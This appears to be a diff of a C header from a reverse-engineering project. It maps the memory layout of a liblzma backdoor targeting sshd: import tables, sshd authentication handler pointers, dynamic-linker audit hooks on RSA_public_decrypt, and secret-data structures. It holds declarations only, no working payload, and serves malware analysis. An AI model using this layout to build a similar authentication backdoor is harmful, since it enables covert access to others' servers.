+
599  int *(*__errno_location)(void);
+
600  int (*setlogmask)(int mask);
+
601  int (*shutdown)(int sockfd, int how);
+
602  void *__libc_stack_end;
+
603 } libc_imports_t;
+
604 
+
605 assert_offset(libc_imports_t, resolved_imports_count, 0);
+
606 assert_offset(libc_imports_t, malloc_usable_size, 8);
+
607 assert_offset(libc_imports_t, getuid, 0x10);
+
608 assert_offset(libc_imports_t, exit, 0x18);
+
609 assert_offset(libc_imports_t, setresgid, 0x20);
+
610 assert_offset(libc_imports_t, setresuid, 0x28);
+
611 assert_offset(libc_imports_t, system, 0x30);
+
612 assert_offset(libc_imports_t, write, 0x38);
+
613 assert_offset(libc_imports_t, pselect, 0x40);
+
614 assert_offset(libc_imports_t, read, 0x48);
+
615 assert_offset(libc_imports_t, __errno_location, 0x50);
+
616 assert_offset(libc_imports_t, setlogmask, 0x58);
+
617 assert_offset(libc_imports_t, shutdown, 0x60);
+
618 static_assert(sizeof(libc_imports_t) == 0x70);
+
619 
+
620 typedef int (*pfn_RSA_public_decrypt_t)(
+
621  int flen, unsigned char *from, unsigned char *to,
+
622  RSA *rsa, int padding);
+
623 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
+
624 typedef void (*pfn_RSA_get0_key_t)(
+
625  const RSA *r,
+
626  const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
+
627 
+
628 typedef struct __attribute__((packed)) imported_funcs {
+
629  pfn_RSA_public_decrypt_t RSA_public_decrypt;
+
630  pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
+
631  // ???
+
632  void (*RSA_get0_key_null)(
+
633  const RSA *r, const BIGNUM **n,
+
634  const BIGNUM **e, const BIGNUM **d);
+
639  void *RSA_public_decrypt_plt;
+
644  void *EVP_PKEY_set1_RSA_plt;
+
649  void *RSA_get0_key_plt;
+
650  void (*DSA_get0_pqg)(
+
651  const DSA *d, const BIGNUM **p,
+
652  const BIGNUM **q, const BIGNUM **g);
+
653  const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
+
654  size_t (*EC_POINT_point2oct)(
+
655  const EC_GROUP *group, const EC_POINT *p,
+
656  point_conversion_form_t form, unsigned char *buf,
+
657  size_t len, BN_CTX *ctx);
+
658  EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
+
659  const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
+
660  EVP_MD *(*EVP_sha256)(void);
+
661  pfn_RSA_get0_key_t RSA_get0_key;
+
662  int (*BN_num_bits)(const BIGNUM *a);
+
663  EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
+
664  int type, ENGINE *e,
+
665  const unsigned char *key, size_t keylen);
+
666  EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
+
667  int (*EVP_DigestVerifyInit)(
+
668  EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
+
669  const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
+
670  int (*EVP_DigestVerify)(
+
671  EVP_MD_CTX *ctx, const unsigned char *sig,
+
672  size_t siglen, const unsigned char *tbs, size_t tbslen);
+
673  void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
+
674  void (*EVP_PKEY_free)(EVP_PKEY *key);
+
675  EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
+
676  int (*EVP_DecryptInit_ex)(
+
677  EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
+
678  ENGINE *impl, const unsigned char *key, const unsigned char *iv);
+
679  int (*EVP_DecryptUpdate)(
+
680  EVP_CIPHER_CTX *ctx, unsigned char *out,
+
681  int *outl, const unsigned char *in, int inl);
+
682  int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
+
683  void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
+
684  const EVP_CIPHER *(*EVP_chacha20)(void);
+
685  RSA *(*RSA_new)(void);
+
686  BIGNUM *(*BN_dup)(const BIGNUM *from);
+
687  BIGNUM (*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
+
688  int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
+
689  int (*EVP_Digest)(
+
690  const void *data, size_t count, unsigned char *md,
+
691  unsigned int *size, const EVP_MD *type, ENGINE *impl);
+
692  int (*RSA_sign)(
+
693  int type,
+
694  const unsigned char *m, unsigned int m_len,
+
695  unsigned char *sigret, unsigned int *siglen, RSA *rsa);
+
696  int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
+
697  void (*RSA_free)(RSA *rsa);
+
698  void (*BN_free)(BIGNUM *a);
+
699  libc_imports_t *libc;
+
700  u64 resolved_imports_count;
+
701 } imported_funcs_t;
+
702 
+
703 assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
+
704 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
+
705 assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
+
706 assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
+
707 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
+
708 assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
+
709 assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
+
710 assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
+
711 assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
+
712 assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
+
713 assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
+
714 assert_offset(imported_funcs_t, EVP_sha256, 0x58);
+
715 assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
+
716 assert_offset(imported_funcs_t, BN_num_bits, 0x68);
+
717 assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
+
718 assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
+
719 assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
+
720 assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
+
721 assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
+
722 assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
+
723 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
+
724 assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
+
725 assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
+
726 assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
+
727 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
+
728 assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
+
729 assert_offset(imported_funcs_t, RSA_new, 0xD0);
+
730 assert_offset(imported_funcs_t, BN_dup, 0xD8);
+
731 assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
+
732 assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
+
733 assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
+
734 assert_offset(imported_funcs_t, RSA_sign, 0xF8);
+
735 assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
+
736 assert_offset(imported_funcs_t, RSA_free, 0x108);
+
737 assert_offset(imported_funcs_t, BN_free, 0x110);
+
738 assert_offset(imported_funcs_t, libc, 0x118);
+
739 assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
+
740 static_assert(sizeof(imported_funcs_t) == 0x128);
+
741 
+
742 typedef struct __attribute__((packed)) sshd_ctx {
+
743  PADDING(0x20);
+
744  PADDING(sizeof(void *));
+
745  void *mm_answer_authpassword_start;
+
746  void *mm_answer_authpassword_end;
+
747  void *monitor_req_authpassword;
+
748  PADDING(sizeof(void *));
+
749  void *mm_answer_keyallowed_start;
+
750  void *mm_answer_keyallowed_end;
+
751  void *monitor_req_keyallowed_ptr;
+
752  PADDING(sizeof(void *));
+
753  void *mm_answer_keyverify_start;
+
754  void *mm_answer_keyverify_end;
+
755  void *monitor_req_keyverify_ptr;
+
756  PADDING(0x4);
+
757  u16 writebuf_size;
+
758  PADDING(0x2);
+
759  u8 *writebuf;
+
760  PADDING(0x8);
+
761  PADDING(0x8);
+
762  PADDING(sizeof(void *));
+
763  void *mm_request_send_start;
+
764  void *mm_request_send_end;
+
765  PADDING(sizeof(u32));
+
766  PADDING(sizeof(u32));
+
767  int *use_pam_ptr;
+
768  int *permit_root_login_ptr;
+
769  char *STR_password;
+
770  char *STR_publickey;
+
771 } sshd_ctx_t;
+
772 
+
773 assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
+
774 assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
+
775 assert_offset(sshd_ctx_t, monitor_req_authpassword, 0x38);
+
776 assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
+
777 assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
+
778 assert_offset(sshd_ctx_t, monitor_req_keyallowed_ptr, 0x58);
+
779 assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
+
780 assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
+
781 assert_offset(sshd_ctx_t, monitor_req_keyverify_ptr, 0x78);
+
782 assert_offset(sshd_ctx_t, writebuf_size, 0x84);
+
783 assert_offset(sshd_ctx_t, writebuf, 0x88);
+
784 assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
+
785 assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
+
786 assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
+
787 assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
+
788 assert_offset(sshd_ctx_t, STR_password, 0xD0);
+
789 assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
+
790 
+
791 typedef struct __attribute__((packed)) sshd_log_ctx {
+
792  PADDING(0x8);
+
793  PADDING(0x8);
+
794  char *STR_percent_s;
+
795  char *STR_Connection_closed_by;
+
796  char *STR_preauth;
+
797  char *STR_authenticating;
+
798  char *STR_user;
+
799  PADDING(0x8);
+
800  PADDING(0x8);
+
801  PADDING(0x8);
+
802  PADDING(0x8);
+
803  void *sshlogv;
+
804 } sshd_log_ctx_t;
+
805 
+
806 assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
+
807 assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
+
808 assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
+
809 assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
+
810 assert_offset(sshd_log_ctx_t, STR_user, 0x30);
+
811 assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
+
812 
+
813 typedef struct __attribute__((packed)) global_context {
+
814  PADDING(8);
+
818  imported_funcs_t *imported_funcs;
+
822  libc_imports_t* libc_imports;
+
830  BOOL disable_backdoor;
+
831  PADDING(4);
+
832  sshd_ctx_t *sshd_ctx;
+
833  void *sshd_host_keys;
+
834  sshd_log_ctx_t *sshd_log_ctx;
+
838  char *ssh_rsa_cert_v01_openssh_com_str;
+
842  char *rsa_sha2_256_str;
+
843  PADDING(0x10);
+
847  void *sshd_code_start;
+
851  void *sshd_code_end;
+
855  void *sshd_data_start;
+
859  void *sshd_data_end;
+
860  PADDING(0x8);
+
867  void *lzma_code_start;
+
874  void *lzma_code_end;
+
875  PADDING(0x78);
+
879  u8 secret_data[57];
+
885  u8 shift_operations[31];
+
889  u32 num_shifted_bits;
+
890  PADDING(4);
+
891 } global_context_t;
+
892 
+
893 assert_offset(global_context_t, imported_funcs, 0x8);
+
894 assert_offset(global_context_t, libc_imports, 0x10);
+
895 assert_offset(global_context_t, disable_backdoor, 0x18);
+
896 assert_offset(global_context_t, sshd_ctx, 0x20);
+
897 assert_offset(global_context_t, sshd_host_keys, 0x28);
+
898 assert_offset(global_context_t, sshd_log_ctx, 0x30);
+
899 assert_offset(global_context_t, sshd_code_start, 0x58);
+
900 assert_offset(global_context_t, sshd_code_end, 0x60);
+
901 assert_offset(global_context_t, sshd_data_start, 0x68);
+
902 assert_offset(global_context_t, sshd_data_end, 0x70);
+
903 assert_offset(global_context_t, lzma_code_start, 0x80);
+
904 assert_offset(global_context_t, lzma_code_end, 0x88);
+
905 assert_offset(global_context_t, secret_data, 0x108);
+
906 assert_offset(global_context_t, shift_operations, 0x141);
+
907 assert_offset(global_context_t, num_shifted_bits, 0x160);
+
908 static_assert(sizeof(global_context_t) == 0x168);
+
909 
+
910 typedef struct __attribute__((packed)) backdoor_shared_globals {
+
911  PADDING(sizeof(void*));
+
916  PADDING(sizeof(void*));
+
917  global_context_t **globals;
+
918 } backdoor_shared_globals_t;
+
919 
+
920 assert_offset(backdoor_shared_globals_t, globals, 0x10);
+
921 static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
+
922 
+
923 typedef struct __attribute__((packed)) ldso_ctx {
+
924  PADDING(0x40);
+
935  void *libcrypto_auditstate_bindflags_ptr;
+
940  void *libcrypto_auditstate_bindflags_old_value;
+
951  void *sshd_auditstate_bindflags_ptr;
+
956  void *sshd_auditstate_bindflags_old_value;
+
965  void* sshd_link_map_l_audit_any_plt_addr;
+
972  u8 link_map_l_audit_any_plt_bitmask;
+
973  PADDING(0x7);
+
982  struct audit_ifaces **_dl_audit_ptr;
+
991  unsigned int *_dl_naudit_ptr;
+
1000  struct audit_ifaces hooked_audit_ifaces;
+
1001  PADDING(0x30);
+
1008  char **libcrypto_l_name;
+
1015  void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
+
1020  size_t _dl_audit_symbind_alt__size;
+
1025  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+
1031  pfn_RSA_public_decrypt_t hook_EVP_PKEY_set1_RSA;
+
1036  pfn_RSA_get0_key_t hook_RSA_get0_key;
+
1037  imported_funcs_t *imported_funcs;
+
1038  u64 hooks_installed;
+
1039 } ldso_ctx_t;
+
1040 
+
1041 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
+
1042 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
+
1043 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
+
1044 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
+
1045 assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
+
1046 assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
+
1047 assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
+
1048 assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
+
1049 assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
+
1050 static_assert(sizeof(struct audit_ifaces) == 0x48);
+
1051 assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
+
1052 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
+
1053 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
+
1054 assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
+
1055 assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
+
1056 assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
+
1057 assert_offset(ldso_ctx_t, imported_funcs, 0x128);
+
1058 assert_offset(ldso_ctx_t, hooks_installed, 0x130);
+
1059 static_assert(sizeof(ldso_ctx_t) == 0x138);
+
1060 
+
1061 
+
1062 typedef struct __attribute__((packed)) backdoor_hooks_data {
+
1063  ldso_ctx_t ldso_ctx;
+
1064  global_context_t global_ctx;
+
1065  imported_funcs_t imported_funcs;
+
1066  PADDING(0xE0);
+
1067  libc_imports_t libc_imports;
+
1068  PADDING(0x70);
+
1069 } backdoor_hooks_data_t;
+
1070 
+
1071 assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
+
1072 assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
+
1073 assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
+
1074 assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
+
1075 static_assert(sizeof(backdoor_hooks_data_t) == 0x588);
+
1076 
+
1077 typedef struct __attribute__((packed)) backdoor_hooks_ctx {
+
1078  PADDING(0x30);
+
1079  backdoor_shared_globals_t *shared;
+
1080  backdoor_hooks_data_t **hooks_data_addr;
+
1081  uintptr_t (*symbind64)(
+
1082  Elf64_Sym *sym, unsigned int ndx,
+
1083  uptr *refcook, uptr *defcook,
+
1084  unsigned int flags, const char *symname);
+
1085  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
+
1086  pfn_RSA_get0_key_t hook_RSA_get0_key;
+
1090  PADDING(sizeof(void *));
+
1091  PADDING(sizeof(void *));
+
1092  PADDING(sizeof(void *));
+
1096  PADDING(sizeof(void *));
+
1100  PADDING(sizeof(void *));
+
1101  PADDING(sizeof(void *));
+
1102 } backdoor_hooks_ctx_t;
+
1103 
+
1104 assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
+
1105 assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
+
1106 assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
+
1107 assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
+
1108 assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
+
1109 static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
+
1110 
+
1111 
+
1112 typedef struct __attribute__((packed)) backdoor_setup_params {
+
1113  PADDING(0x8);
+
1114  backdoor_shared_globals_t *shared;
+
1115  backdoor_hooks_ctx_t *hook_params;
+
1116  PADDING(0x68);
+
1117  elf_entry_ctx_t *entry_ctx;
+
1118 } backdoor_setup_params_t;
+
1119 
+
1120 assert_offset(backdoor_setup_params_t, shared, 0x8);
+
1121 assert_offset(backdoor_setup_params_t, hook_params, 0x10);
+
1122 assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
+
1123 static_assert(sizeof(backdoor_setup_params_t) == 0x88);
1124 
-
1125 assert_offset(backdoor_setup_params_t, shared, 0x8);
-
1126 assert_offset(backdoor_setup_params_t, hook_params, 0x10);
-
1127 assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
-
1128 static_assert(sizeof(backdoor_setup_params_t) == 0x88);
-
1129 
-
1134 typedef struct __attribute__((packed)) elf_handles {
-
1139  elf_info_t *main;
-
1145  elf_info_t *dynamic_linker;
-
1146  elf_info_t *libc;
-
1147  elf_info_t *liblzma;
-
1148  elf_info_t *libcrypto;
-
1149 } elf_handles_t;
-
1150 
-
1151 assert_offset(elf_handles_t, main, 0x0);
-
1152 assert_offset(elf_handles_t, dynamic_linker, 0x8);
-
1153 assert_offset(elf_handles_t, libc, 0x10);
-
1154 assert_offset(elf_handles_t, liblzma, 0x18);
-
1155 assert_offset(elf_handles_t, libcrypto, 0x20);
-
1156 
-
1157 typedef struct __attribute__((packed)) main_elf {
-
1158  elf_handles_t *elf_handles;
-
1159  Elf64_Ehdr *dynamic_linker_ehdr;
-
1160  void **__libc_stack_end;
-
1161 } main_elf_t;
-
1162 
-
1163 assert_offset(main_elf_t, elf_handles, 0x0);
-
1164 assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
-
1165 assert_offset(main_elf_t, __libc_stack_end, 0x10);
-
1166 
-
1167 typedef struct backdoor_data backdoor_data_t;
-
1168 
-
1172 typedef struct __attribute__((packed)) backdoor_data_handle {
-
1173  backdoor_data_t *data;
-
1174  elf_handles_t *elf_handles;
-
1175 } backdoor_data_handle_t;
-
1176 
-
1177 assert_offset(backdoor_data_handle_t, data, 0x0);
-
1178 assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
-
1179 
-
1180 typedef struct __attribute__((packed)) string_item {
-
1184  EncodedStringId string_id;
-
1185  PADDING(4);
-
1189  void *func_start;
-
1193  void *func_end;
-
1197  void *xref;
-
1198 } string_item_t;
-
1199 
-
1200 assert_offset(string_item_t, string_id, 0);
-
1201 assert_offset(string_item_t, func_start, 0x8);
-
1202 assert_offset(string_item_t, func_end, 0x10);
-
1203 assert_offset(string_item_t, xref, 0x18);
-
1204 static_assert(sizeof(string_item_t) == 0x20);
+
1129 typedef struct __attribute__((packed)) elf_handles {
+
1134  elf_info_t *main;
+
1140  elf_info_t *dynamic_linker;
+
1141  elf_info_t *libc;
+
1142  elf_info_t *liblzma;
+
1143  elf_info_t *libcrypto;
+
1144 } elf_handles_t;
+
1145 
+
1146 assert_offset(elf_handles_t, main, 0x0);
+
1147 assert_offset(elf_handles_t, dynamic_linker, 0x8);
+
1148 assert_offset(elf_handles_t, libc, 0x10);
+
1149 assert_offset(elf_handles_t, liblzma, 0x18);
+
1150 assert_offset(elf_handles_t, libcrypto, 0x20);
+
1151 
+
1152 typedef struct __attribute__((packed)) main_elf {
+
1153  elf_handles_t *elf_handles;
+
1154  Elf64_Ehdr *dynamic_linker_ehdr;
+
1155  void **__libc_stack_end;
+
1156 } main_elf_t;
+
1157 
+
1158 assert_offset(main_elf_t, elf_handles, 0x0);
+
1159 assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
+
1160 assert_offset(main_elf_t, __libc_stack_end, 0x10);
+
1161 
+
1162 typedef struct backdoor_data backdoor_data_t;
+
1163 
+
1167 typedef struct __attribute__((packed)) backdoor_data_handle {
+
1168  backdoor_data_t *data;
+
1169  elf_handles_t *elf_handles;
+
1170 } backdoor_data_handle_t;
+
1171 
+
1172 assert_offset(backdoor_data_handle_t, data, 0x0);
+
1173 assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
+
1174 
+
1175 typedef struct __attribute__((packed)) string_item {
+
1179  EncodedStringId string_id;
+
1180  PADDING(4);
+
1184  void *func_start;
+
1188  void *func_end;
+
1192  void *xref;
+
1193 } string_item_t;
+
1194 
+
1195 assert_offset(string_item_t, string_id, 0);
+
1196 assert_offset(string_item_t, func_start, 0x8);
+
1197 assert_offset(string_item_t, func_end, 0x10);
+
1198 assert_offset(string_item_t, xref, 0x18);
+
1199 static_assert(sizeof(string_item_t) == 0x20);
+
1200 
+
1201 typedef struct __attribute__((packed)) string_references {
+
1202  string_item_t entries[27];
+
1203  PADDING(0x8);
+
1204 } string_references_t;
1205 
-
1206 typedef struct __attribute__((packed)) string_references {
-
1207  string_item_t entries[27];
-
1208  PADDING(0x8);
-
1209 } string_references_t;
-
1210 
-
1211 assert_offset(string_references_t, entries, 0);
-
1212 
-
1217 typedef struct __attribute__((packed)) backdoor_data {
-
1222  struct link_map *main_map;
-
1227  struct link_map *dynamic_linker_map;
-
1228  struct link_map *liblzma_map;
-
1229  struct link_map *libcrypto_map;
-
1230  struct link_map *libsystemd_map;
-
1231  struct link_map *libc_map;
-
1232 
-
1233  elf_handles_t elf_handles;
-
1234 
-
1235  backdoor_data_handle_t data_handle;
-
1236 
-
1242  elf_info_t main_info;
-
1248  elf_info_t dynamic_linker_info;
-
1252  elf_info_t libc_info;
-
1253  elf_info_t liblzma_info;
-
1257  elf_info_t libcrypto_info;
-
1258 
-
1262  libc_imports_t libc_imports;
-
1267  string_references_t string_refs;
-
1268  PADDING(16);
-
1272  lzma_allocator *import_resolver;
-
1273 } backdoor_data_t;
-
1274 
-
1275 assert_offset(backdoor_data_t, main_map, 0);
-
1276 assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
-
1277 assert_offset(backdoor_data_t, liblzma_map, 0x10);
-
1278 assert_offset(backdoor_data_t, libcrypto_map, 0x18);
-
1279 assert_offset(backdoor_data_t, libsystemd_map, 0x20);
-
1280 assert_offset(backdoor_data_t, libc_map, 0x28);
-
1281 assert_offset(backdoor_data_t, elf_handles, 0x30);
-
1282 assert_offset(backdoor_data_t, main_info, 0x68);
-
1283 assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
-
1284 assert_offset(backdoor_data_t, libc_info, 0x268);
-
1285 assert_offset(backdoor_data_t, liblzma_info, 0x368);
-
1286 assert_offset(backdoor_data_t, libcrypto_info, 0x468);
-
1287 assert_offset(backdoor_data_t, libc_imports, 0x568);
-
1288 assert_offset(backdoor_data_t, string_refs, 0x5D8);
-
1289 assert_offset(backdoor_data_t, import_resolver, 0x950);
-
1290 static_assert(sizeof(backdoor_data_t) == 0x958);
-
1291 
-
1292 typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
-
1293  backdoor_data_t *data;
-
1294  elf_handles_t *elf_handles;
-
1299  void* RSA_public_decrypt_plt;
-
1304  void* EVP_PKEY_set1_RSA_plt;
-
1309  void* RSA_get0_key_plt;
-
1310  backdoor_hooks_data_t **hooks_data_addr;
-
1311  libc_imports_t *libc_imports;
-
1312 } backdoor_shared_libraries_data_t;
-
1313 
-
1314 assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
-
1315 assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
-
1316 assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
-
1317 assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
-
1318 assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
-
1319 assert_offset(backdoor_shared_libraries_data_t, hooks_data_addr, 0x28);
-
1320 assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
-
1321 
-
1328 typedef union {
-
1330  u32 index;
-
1331  struct {
-
1333  u32 bit_index : 3;
-
1335  u32 byte_index : 29;
-
1336  };
-
1337 } secret_data_shift_cursor_t;
-
1338 
-
1344 typedef struct __attribute__((packed)) key_payload_hdr {
-
1345  PADDING(0x4);
-
1346  PADDING(0x4);
-
1347  PADDING(0x8);
-
1348 } key_payload_hdr_t;
-
1349 
-
1350 typedef struct __attribute__((packed)) key_payload_body {
-
1351  PADDING(0x218);
-
1352 } key_payload_body_t;
-
1353 
-
1359 typedef struct __attribute__((packed)) key_payload {
-
1360  key_payload_hdr_t header;
-
1361  key_payload_body_t body;
-
1362 } key_payload_t;
+
1206 assert_offset(string_references_t, entries, 0);
+
1207 
+
1212 typedef struct __attribute__((packed)) backdoor_data {
+
1217  struct link_map *main_map;
+
1222  struct link_map *dynamic_linker_map;
+
1223  struct link_map *liblzma_map;
+
1224  struct link_map *libcrypto_map;
+
1225  struct link_map *libsystemd_map;
+
1226  struct link_map *libc_map;
+
1227 
+
1228  elf_handles_t elf_handles;
+
1229 
+
1230  backdoor_data_handle_t data_handle;
+
1231 
+
1237  elf_info_t main_info;
+
1243  elf_info_t dynamic_linker_info;
+
1247  elf_info_t libc_info;
+
1248  elf_info_t liblzma_info;
+
1252  elf_info_t libcrypto_info;
+
1253 
+
1257  libc_imports_t libc_imports;
+
1262  string_references_t string_refs;
+
1263  PADDING(16);
+
1267  lzma_allocator *import_resolver;
+
1268 } backdoor_data_t;
+
1269 
+
1270 assert_offset(backdoor_data_t, main_map, 0);
+
1271 assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
+
1272 assert_offset(backdoor_data_t, liblzma_map, 0x10);
+
1273 assert_offset(backdoor_data_t, libcrypto_map, 0x18);
+
1274 assert_offset(backdoor_data_t, libsystemd_map, 0x20);
+
1275 assert_offset(backdoor_data_t, libc_map, 0x28);
+
1276 assert_offset(backdoor_data_t, elf_handles, 0x30);
+
1277 assert_offset(backdoor_data_t, main_info, 0x68);
+
1278 assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
+
1279 assert_offset(backdoor_data_t, libc_info, 0x268);
+
1280 assert_offset(backdoor_data_t, liblzma_info, 0x368);
+
1281 assert_offset(backdoor_data_t, libcrypto_info, 0x468);
+
1282 assert_offset(backdoor_data_t, libc_imports, 0x568);
+
1283 assert_offset(backdoor_data_t, string_refs, 0x5D8);
+
1284 assert_offset(backdoor_data_t, import_resolver, 0x950);
+
1285 static_assert(sizeof(backdoor_data_t) == 0x958);
+
1286 
+
1287 typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
+
1288  backdoor_data_t *data;
+
1289  elf_handles_t *elf_handles;
+
1294  void* RSA_public_decrypt_plt;
+
1299  void* EVP_PKEY_set1_RSA_plt;
+
1304  void* RSA_get0_key_plt;
+
1305  backdoor_hooks_data_t **hooks_data_addr;
+
1306  libc_imports_t *libc_imports;
+
1307 } backdoor_shared_libraries_data_t;
+
1308 
+
1309 assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
+
1310 assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
+
1311 assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
+
1312 assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
+
1313 assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
+
1314 assert_offset(backdoor_shared_libraries_data_t, hooks_data_addr, 0x28);
+
1315 assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
+
1316 
+
1323 typedef union {
+
1325  u32 index;
+
1326  struct {
+
1328  u32 bit_index : 3;
+
1330  u32 byte_index : 29;
+
1331  };
+
1332 } secret_data_shift_cursor_t;
+
1333 
+
1339 typedef struct __attribute__((packed)) key_payload_hdr {
+
1340  PADDING(0x4);
+
1341  PADDING(0x4);
+
1342  PADDING(0x8);
+
1343 } key_payload_hdr_t;
+
1344 
+
1345 typedef struct __attribute__((packed)) key_payload_body {
+
1346  PADDING(0x218);
+
1347 } key_payload_body_t;
+
1348 
+
1354 typedef struct __attribute__((packed)) key_payload {
+
1355  key_payload_hdr_t header;
+
1356  key_payload_body_t body;
+
1357 } key_payload_t;
+
1358 
+
